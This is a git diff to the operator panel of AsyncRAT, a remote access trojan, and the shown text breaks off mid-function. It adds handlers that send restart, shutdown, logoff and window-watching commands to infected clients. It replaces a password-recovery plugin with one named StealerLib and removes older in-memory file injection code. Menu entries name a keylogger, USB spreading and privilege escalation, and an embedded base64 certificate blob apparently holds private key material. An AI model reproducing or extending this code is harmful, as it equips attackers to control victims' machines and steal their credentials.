diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
index 90a2d4e..7fb8613 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
@@ -155,13 +155,16 @@
+
+
+
@@ -255,9 +258,11 @@
+
+
+
-
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
index c1383aa..2b8dd4d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
@@ -49,7 +49,6 @@
this.vISITWEBSITEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.kEYLOGGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.cHATToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -63,6 +62,13 @@
this.bOTKILLERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uSBSPREADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.rEPORTACTIVEWINDOWToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.rUNToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.sTOPToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
+ this.pCOPTIONSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.rESTARTToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
+ this.sHUTDOWNToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.lOGOFFToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
@@ -99,6 +105,8 @@
this.contextMenuNotification = new System.Windows.Forms.ContextMenuStrip(this.components);
this.notificationOFFToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.TimerTask = new System.Windows.Forms.Timer(this.components);
+ this.tOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.tODISKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout();
@@ -137,6 +145,7 @@
this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = System.Windows.Forms.View.Details;
+ this.listView1.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.ListView1_ColumnClick);
this.listView1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.listView1_KeyDown);
this.listView1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.listView1_MouseMove);
//
@@ -189,7 +198,6 @@
this.vISITWEBSITEToolStripMenuItem,
this.sENDMESSAGEBOXToolStripMenuItem,
this.sENDFILEToolStripMenuItem,
- this.sENDFILETOMEMORYToolStripMenuItem,
this.rEMOTEDESKTOPToolStripMenuItem,
this.kEYLOGGERToolStripMenuItem,
this.cHATToolStripMenuItem,
@@ -202,12 +210,14 @@
this.bOTKILLERToolStripMenuItem,
this.uSBSPREADToolStripMenuItem,
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem,
+ this.rEPORTACTIVEWINDOWToolStripMenuItem,
+ this.pCOPTIONSToolStripMenuItem,
this.toolStripSeparator2,
this.bUILDERToolStripMenuItem,
this.toolStripSeparator3,
this.aBOUTToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1";
- this.contextMenuClient.Size = new System.Drawing.Size(279, 592);
+ this.contextMenuClient.Size = new System.Drawing.Size(278, 655);
//
// cLIENTOPTIONSToolStripMenuItem
//
@@ -272,19 +282,13 @@
//
// sENDFILEToolStripMenuItem
//
+ this.sENDFILEToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.tOMEMORYToolStripMenuItem,
+ this.tODISKToolStripMenuItem});
this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
- this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
+ this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(277, 30);
this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK";
- this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1);
- //
- // sENDFILETOMEMORYToolStripMenuItem
- //
- this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1;
- this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem";
- this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
- this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
- this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
//
// rEMOTEDESKTOPToolStripMenuItem
//
@@ -390,6 +394,62 @@
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Text = "GET ADMIN PRIVILEGES";
this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Click += new System.EventHandler(this.GETADMINISTRATORPRIVILEGESToolStripMenuItem_Click);
//
+ // rEPORTACTIVEWINDOWToolStripMenuItem
+ //
+ this.rEPORTACTIVEWINDOWToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.rUNToolStripMenuItem,
+ this.sTOPToolStripMenuItem1});
+ this.rEPORTACTIVEWINDOWToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.report;
+ this.rEPORTACTIVEWINDOWToolStripMenuItem.Name = "rEPORTACTIVEWINDOWToolStripMenuItem";
+ this.rEPORTACTIVEWINDOWToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
+ this.rEPORTACTIVEWINDOWToolStripMenuItem.Text = "REPORT WINDOW";
+ //
+ // rUNToolStripMenuItem
+ //
+ this.rUNToolStripMenuItem.Name = "rUNToolStripMenuItem";
+ this.rUNToolStripMenuItem.Size = new System.Drawing.Size(139, 30);
+ this.rUNToolStripMenuItem.Text = "RUN";
+ this.rUNToolStripMenuItem.Click += new System.EventHandler(this.RUNToolStripMenuItem_Click);
+ //
+ // sTOPToolStripMenuItem1
+ //
+ this.sTOPToolStripMenuItem1.Name = "sTOPToolStripMenuItem1";
+ this.sTOPToolStripMenuItem1.Size = new System.Drawing.Size(139, 30);
+ this.sTOPToolStripMenuItem1.Text = "STOP";
+ this.sTOPToolStripMenuItem1.Click += new System.EventHandler(this.STOPToolStripMenuItem1_Click);
+ //
+ // pCOPTIONSToolStripMenuItem
+ //
+ this.pCOPTIONSToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.rESTARTToolStripMenuItem1,
+ this.sHUTDOWNToolStripMenuItem,
+ this.lOGOFFToolStripMenuItem});
+ this.pCOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.pc;
+ this.pCOPTIONSToolStripMenuItem.Name = "pCOPTIONSToolStripMenuItem";
+ this.pCOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(278, 30);
+ this.pCOPTIONSToolStripMenuItem.Text = "PC OPTIONS";
+ //
+ // rESTARTToolStripMenuItem1
+ //
+ this.rESTARTToolStripMenuItem1.Name = "rESTARTToolStripMenuItem1";
+ this.rESTARTToolStripMenuItem1.Size = new System.Drawing.Size(197, 30);
+ this.rESTARTToolStripMenuItem1.Text = "RESTART";
+ this.rESTARTToolStripMenuItem1.Click += new System.EventHandler(this.RESTARTToolStripMenuItem1_Click);
+ //
+ // sHUTDOWNToolStripMenuItem
+ //
+ this.sHUTDOWNToolStripMenuItem.Name = "sHUTDOWNToolStripMenuItem";
+ this.sHUTDOWNToolStripMenuItem.Size = new System.Drawing.Size(197, 30);
+ this.sHUTDOWNToolStripMenuItem.Text = "SHUTDOWN";
+ this.sHUTDOWNToolStripMenuItem.Click += new System.EventHandler(this.SHUTDOWNToolStripMenuItem_Click);
+ //
+ // lOGOFFToolStripMenuItem
+ //
+ this.lOGOFFToolStripMenuItem.Name = "lOGOFFToolStripMenuItem";
+ this.lOGOFFToolStripMenuItem.Size = new System.Drawing.Size(197, 30);
+ this.lOGOFFToolStripMenuItem.Text = "LOGOFF";
+ this.lOGOFFToolStripMenuItem.Click += new System.EventHandler(this.LOGOFFToolStripMenuItem_Click);
+ //
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
@@ -684,6 +744,20 @@
this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
//
+ // tOMEMORYToolStripMenuItem
+ //
+ this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem";
+ this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(252, 30);
+ this.tOMEMORYToolStripMenuItem.Text = "TO MEMORY";
+ this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click);
+ //
+ // tODISKToolStripMenuItem
+ //
+ this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem";
+ this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(252, 30);
+ this.tODISKToolStripMenuItem.Text = "TO DISK";
+ this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click);
+ //
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -734,7 +808,6 @@
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem;
- private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem rEMOTEDESKTOPToolStripMenuItem;
public System.Windows.Forms.ColumnHeader lv_hwid;
private System.Windows.Forms.ToolStripMenuItem pROCESSMANAGERToolStripMenuItem;
@@ -787,6 +860,15 @@
private System.Windows.Forms.Timer TimerTask;
private System.Windows.Forms.ToolStripMenuItem rEMOTESHELLToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem cHATToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem pCOPTIONSToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem rESTARTToolStripMenuItem1;
+ private System.Windows.Forms.ToolStripMenuItem sHUTDOWNToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem lOGOFFToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem rEPORTACTIVEWINDOWToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem rUNToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem1;
+ private System.Windows.Forms.ToolStripMenuItem tOMEMORYToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem tODISKToolStripMenuItem;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index 0d77e0f..8038b9a 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -43,6 +43,7 @@ namespace AsyncRAT_Sharp
private Listener listener;
private bool trans;
private List getTasks = new List();
+ private ListViewColumnSorter lvwColumnSorter;
private void CheckFiles()
{
@@ -73,7 +74,8 @@ namespace AsyncRAT_Sharp
private async void Form1_Load(object sender, EventArgs e)
{
CheckFiles();
-
+ lvwColumnSorter = new ListViewColumnSorter();
+ this.listView1.ListViewItemSorter = lvwColumnSorter;
this.Text = $"{Settings.Version}";
#if DEBUG
Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String("MIIQnwIBAzCCEF8GCSqGSIb3DQEHAaCCEFAEghBMMIIQSDCCCrEGCSqGSIb3DQEHAaCCCqIEggqeMIIKmjCCCpYGCyqGSIb3DQEMCgECoIIJfjCCCXowHAYKKoZIhvcNAQwBAzAOBAhGom8z27sGNwICB9AEgglYHr9Z18ZncrtJpLstGLnil397ynbVr70wLRnYi3xnaPLPs6zeh3n4dEDvBNl+U3Mqslndd3fRQliv12ComNPjrUFNkwdG4cwz6M4W1HCwBQvfwdj5qnEg5AEiW1m2ErpM8GbH+kglk0tqJLJFXngauWIE+joJMr9oUWyym37C59ItLL8haPTsrcRYiumZwxawRN0kIjSkBAnGPgD8YFhNb73V+BIQWfsUjXqlL0mTMYpT4XRd1F26pqBaEz0h0mfANsvZsuqpR/P98FFwqicq4s0lnHThTi/RJ+a9FTszYOcfdV5PQeJmZE7OIOH0K+y+aqeG4hXkM35709Pm6es5wxH94gRUVEBZXJhTcJGKY4aOUXFGKOzOXIXiejjx01/hhLWEMz8nccN249TDX5CVq9zf5q4QbFkN5e8J0tCvGplDYx9F7GU8/FirmLw/CadbuAAZPlptZypIKrq/6g3Cb1kYZDKKZf3+9W50NHbj6npNjRWCEaYQTj4cDWCjBmgkPPLdnO7DBBz8aBFGjV1HG6F4j2P7rd9N559tFT8Y0xb0t31jUL+SHucS66QPD+z6SaAuyynB8WDsJwcWjScRecUjS+j37J9WezQvDCWCokLSHyXxzzuFGGtsf4/k+cMEBbA0oBIwL4W49SJxTkPBprkle6DvptqZkwzZp5V5/n8KOzjYyKzl5ogOGYQHb4C3qYMjRKXcYPxlVvP3Kw1tL2bHmQYA9poc/j1zc4Zxer0OUufPJx9gRU/PsuuKqKhUpCyRdajWXcbiuKVVvXiD0BP0ZMdAoB+VnY/HaWJ9Xm80eaHpGFnSdFyL62yzHHbAL2SAajDzb8DPVbGMui0o3v9Yroa7Xn3MKSKjr1MzE6SM1o5gnC7ZtRQGHbxyO5mCAMa8D12eqcwQeNbBdBtYDWliMra17OBBjUlgXavU5xmb+bRVYjwRzXHETXYzMCQab4dHfGVYL8L4ybZjjZIntyynaesW+M7f6gbzbgMdHiGpCXg2zevBnGHhALCrgiv97kgmk449SU+Lvsqal47jj3j+YIQ1nd8k5qeDN0OcOz4igLDb9xacgc4DlufcTGMHmKTzZP1xSi5pFtdmkhXJiB2TLWPsGzj60v1SitCT1jbO6WBCNgUBvWtk9mqvpdKCzIU/Dh3NjyLIpXzeL2cRx3haIzb5WFWVDvjbTtgQ70PKcODM6S3Uz3yCbT0E+A7hTGP73JWAcx33CJpv8vdwXBYp79TmlNQb8lV+SjzWrbVhCDrpvkuAqJE3b7Vvd4po8Otxu8LI7FN33UZ/yrVn0Y0J4IOfdqokdUnmrHJf+op0HuGlX92byi5p1IMbQYRftNQiq8tebh8y3EWfmLXZ7xTQYp+GgtD1SscLdePYcBe54JAA4zn5aNxa+aWQZstYzzIkZI0fWyQHsQYXB6FtpKtSLNeh6uMkI6hP7Qvm0fggJ9En5MVOjRzitVzldgffgWm0l2YkmRHwWzE1hwQGGGTfNIvbDx3YgjkLHGPK0IVbgUPdaZR86r1KuUvzOrqVUE9lgWqL78nOXl15yXoRmhNvcfEgncv+hRjOaEOL1XAfgDxI/jAAD6RdzOx3cIakDtRBAqVgis5way4sgV65a+ZNBEA9CuxVQhW5Y/KJpoQDInnV++PxkjJjUcx/BSB5v0uf/WwJR6uMgqgYVJ0K21GjKdINIkRKeA26gBogZQMuG2gbtcK0LkuPKW7g2rM1g1GcXeoxC9BeWtMcHtbfXz7Wgv0ehQ0RyQ5ONPVcSI5dCHIUUex78LquQFSBMlTHQ/cYit7KLEAUeLjAd8GQN2vlvWlfnI2a+UxdA6aSaLeCGLMEbV97LudOAAWwPZ6Izeicye2NtFRgq3ah9UL61V7KKNCNKvDqfuqqqRnM+LEOR3rveulxlul5ANq0AIaSTkLIk7gl/39iYLdEZH5SXPA7m/Z0JQILbERSdC2ARnZtFbdP4dV2FHa0PpF/7hFTvZQ7uPFOP0yXHOWyxXK4p/hlmgTyG882N22uLP4NAO9ER1m6xdzNGb/mP5mhylOY4ZvaXYoqUs///uje7Tf0YFDVZkw2DUBGT5WwWMbahgUW4PZjF6WPo4tstgCd93DX9y9sT8X+ymn05eTM0uabJ4OyRr4GWmVLzZgTNI0ign3H5Yd8Mj5C4PJxZJLbqY3D0fbuo5Ep459qdiEVkRSDMHMD3QcwBXMCpOjzhQpccBbHjAWbn8FiSeqUetRYSuVx/fZEdR+T+5ZaTcyh+mQj1ewC1QeYU07g4OMO+pke4dNQeul9SCY7w/dpPN/qLeWKFd8+lPG9AekTWMPc8hc0kPugBJl4pIzmkKTWBW9Rr8Ch9YU0J5lvkjst1WDFXhj79S3GkJjZDRWceBDIrjj27w+K6jLDNsGtfubRshnJqKNyg3XVIOva93OD6wHgUfmEaDYCrNnbg1dc0W5dAqWWluSkb6EiHD9tl9wlZOOaa+u7EfUic/uVfsl7cYI5pTHJKgBwDpOSuAZbfTJV6YxgXy67mm5Bx/DxqjeLNwoPUQ2oScr3J7e+BpM9B4/RuqAsBb6IfPRoXa4eOCk1lNsMlG7pb1k1RiX0lmElZooFi1Mt85bz/YuxzyGNbzEc4zpLxbAC1bkVrPDUKWKBwm5JQOo7Dza7AZsYGW3VqyaW2+qMAfjJB3Ty+d1DkW20MMjD2p9xnC+6F5x2AiaHw34rhZi2ydlwUPhaJuEzszmBDjtWCg0PXILfvdev5IP+qKIVyuBNbp1watxBqjZZAkOH+WQj3wC42j+GbrcziRf+GgSW1Z3SUEAtgbw/9MDunbTlc6T920PdkGI9xhP81YhA1v4bM9EjeIHKIvWsXc3TP1unB+3benybD0ko9DE1ebim2HFKx13hkyoRAn9GSQzzhKXeEnyJKS2sRmtPyEVV7RVsPF80lcDOwfVvNznp3p6+IL/OMojzstiPRdsKka0mrW1zsuyhmSxcr3Yojuchw+NJVFdf51rjIKA3t7nfL49R4QeQE1IHUPl99XNUmEizMJmnXmkBft20KlV+v/8cbwQuMiAz4emGVucQnKooyGuLXd2Wlb/KZwwW6GHXcmHTgemBEGu9IZkrH38kz/UsOEVq9RAtd7S4WFPKeSikmHN0po4sKS79AccHast6uJwIp99+b8uMo54oYw4SSE8v1iHhRrTmWAaL5jGCAQMwEwYJKoZIhvcNAQkVMQYEBAEAAAAwcQYJKoZIhvcNAQkUMWQeYgBCAG8AdQBuAGMAeQBDAGEAcwB0AGwAZQAtADMAOABmADUANAA1AGQANAAtADQAMAAxAGIALQA0AGMANQBlAC0AYgA3ADUANwAtAGYANABmADkAMQAxADgAZABhADcAMgA0MHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIFjwYJKoZIhvcNAQcGoIIFgDCCBXwCAQAwggV1BgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBBjAOBAgEBMZFg6IOEgICB9CAggVI6vykgbZ93FYKheae5LXfh/8BSm7UZzXCMo4KijLYUQlBXF3r/zC2Bp4y1I0LyP3+URde44qDPu2p+lhT/+hcUWcPHlHwOt2YPColHIp+qccufVdIRv7LT2XwZP1KcdjqDo4HAJE3b60WeMNby2bJ0tuUh55VlMqVpmV6S//g4d9H3KfrOH6mQ3hKyRExYzDfYSZHMC/FjWhb8r+FQndPHbyTkk6uKPWKZhej9cp5j5gns7WC66rQTvgpEqXvVoKNbSc3GrisKuBoBDf7xNz9y94IZX7TnY1PHWjYZEs5abWnX8J2HOrHcmrrPYusIzJz/K3u7u8Cf/FXlOR3hTa2CRzfL5iSXw/krJ84+XwGKN0T1YJUcM+tUrOZVartzYkAdKkDIK3aCT+FrJlcb1RozhCeNNggB5PxFgKBlAClrrY6Iw+jMDn+z7nH2rfA25oRc3wTbA7N7d234EZu/wy5UBC8dPgOGWvTKwm3RhaCDCCGH0j2prAoulzJ3/5xKMvvwIyGdy06iikQ35X7udlCAIyft0f6hg5bT4GB0hed7YNEt1cmNDWjiIKqDSMb/oHsy6/VqtisvxVosxPbjzJTO8wOGq/NPUy+CT1dt+FuWLAWXvwc7+svsXM2Frnda0wN6BiEN/fs3hRv4qmQzMqpD/ypow277uLwfLL4jd380zkWSRaXt2K48640SGfIf+ktHkQnXCWLQB3uJhtB4pn5QKIZJJjlOgvaKaEIAX5MtmT+OESBzZBe4mPC7L0NqwvMx1hTQwUrSexL4BYOjRdvmFoe5Y9tB4+iHNk/ADa/XGAmDTtalJsd82A12WKFxtLwxYZeZATTH1ZHVL6GKfuv7FA8BCDRuO8Y2iG3+eVlVgP+ucxjg53UVdnr7Kc6+SZzHXxkjgFIr+Kx283JCuuqHe6OvDapM9TImPmL6xE/xoIFuWVSFxB3IVJdMsZ6KT3SOUHqD6Qh2nqTd3/NAVW6RJ5f2Agu+4aSusJ179Ykx3D05R81QhKWHiUeJ9ELE+z9DCNoT7sP+hknboF6BB4kIoboVWLHYTZAH+ROTD/fgCCTaNaJ5GxlkHGcIwlv6o9u2sdMvO3YbRa0C97t0F9baV51EJ7STQxJfRE+YpJeqHsHSzda3Hc52YM74TOqu38l+VIOokUBsBA44XQtWIQwBH4OqWC4/Ykz3+KMXv2k1H/bhJQIYnZ1h82/qNs4/SPaneyWCWJTLwIkOT+ESLWmP1NytTF/mG/PeGP8d8XFaPNLBtoBpUcuY4rnzE32sVNA3M98LnNIvroRPa3KmUMkI6dwr8oJFA5Cade6DzYMV6l7cn34Po7u4We7XpQRaOwopWdfGE6QIZ7xUTo/D+drTsHykVru0QxoTRG6Fyr81SQrb3Gnl8WJElD2WU4fNP43SmwbQuHnzfjXE0xPGtrhnKM1Wqb/4PDnzWo8m9Y0V0VMzKq87mYfMv6JeEzmD7lzFg0Pa4ZRr59AsB2FRL7WXZSyLCl4XURmHuPSBh0IKCNDPM1Jx53+Jganh2d/hPdLoJ67MU5OX+kQQjqJbTkRtPGyVTudGK8PLKcGsZbgcspoSeOFGd/4ekwU9uONG13UkOWhwxH0TCaVyQDwriXJBkDuRkUc4xHRyYV4tOsdXEThJAfxyvhS6OnXf0QTgxpi9QHSkm8ck2YxckI2OLjxhUybzi1NBlE+/ze/+u8bEzFsokDV4Gyu1tveic6vSiMnkgw4GVfKZUlTb4p7gmu5cLnvvvOYUbCC0arqHeInK9qYDK0HLugXghW2cJ/7IraPtGVllWOY90UwNzAfMAcGBSsOAwIaBBTULviP2846Mwx7HQYbZhU6jWY93AQUFgDaajoQ8JghV3gqHvkwWdGC35g="));
@@ -199,40 +201,6 @@ namespace AsyncRAT_Sharp
}
}
- private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
- {
- if (listView1.SelectedItems.Count > 0)
- {
- try
- {
- OpenFileDialog openFileDialog = new OpenFileDialog();
- openFileDialog.Multiselect = true;
- if (openFileDialog.ShowDialog() == DialogResult.OK)
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "sendFile";
- msgpack.ForcePathObject("Update").AsString = "false";
- foreach (ListViewItem itm in listView1.SelectedItems)
- {
- Clients client = (Clients)itm.Tag;
- client.LV.ForeColor = Color.Red;
- foreach (string file in openFileDialog.FileNames)
- {
- await msgpack.ForcePathObject("File").LoadFileAsBytes(file);
- msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(file);
- ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
- }
- }
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
- return;
- }
- }
- }
-
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@@ -312,44 +280,7 @@ namespace AsyncRAT_Sharp
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{
- if (listView1.SelectedItems.Count > 0)
- {
- try
- {
- FormSendFileToMemory formSend = new FormSendFileToMemory();
- formSend.ShowDialog();
- if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green)
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "sendMemory";
- msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
- if (formSend.comboBox1.SelectedIndex == 0)
- {
- msgpack.ForcePathObject("Inject").AsString = "";
- msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
- }
- else
- {
- msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
- msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
- }
- foreach (ListViewItem itm in listView1.SelectedItems)
- {
- Clients client = (Clients)itm.Tag;
- client.LV.ForeColor = Color.Red;
- ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
- }
- }
- formSend.Close();
- formSend.Dispose();
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
- return;
- }
- }
}
private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
@@ -731,7 +662,7 @@ namespace AsyncRAT_Sharp
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
- msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.RecoveryPlugin);
+ msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib);
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
@@ -955,9 +886,7 @@ namespace AsyncRAT_Sharp
try
{
if (listView1.SelectedItems.Count > 0)
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "chat";
+ {
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
@@ -974,7 +903,6 @@ namespace AsyncRAT_Sharp
C = client
};
shell.Show();
- ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}));
}
@@ -986,5 +914,220 @@ namespace AsyncRAT_Sharp
return;
}
}
+
+ private void RESTARTToolStripMenuItem1_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "pcOptions";
+ msgpack.ForcePathObject("Option").AsString = "restart";
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
+ client.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+ }
+
+ private void SHUTDOWNToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "pcOptions";
+ msgpack.ForcePathObject("Option").AsString = "shutdown";
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
+ client.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+ }
+
+ private void LOGOFFToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "pcOptions";
+ msgpack.ForcePathObject("Option").AsString = "logoff";
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
+ client.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+ }
+
+ private void RUNToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ string title = Interaction.InputBox("SEND A NOTIFICATION WHEN CLIENT OPEN A SPECIFIC WINDOW", "TITLE", "YouTube, Photoshop, Steam");
+ if (string.IsNullOrEmpty(title))
+ return;
+ else
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "reportWindow";
+ msgpack.ForcePathObject("Option").AsString = "run";
+ msgpack.ForcePathObject("Title").AsString = title;
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
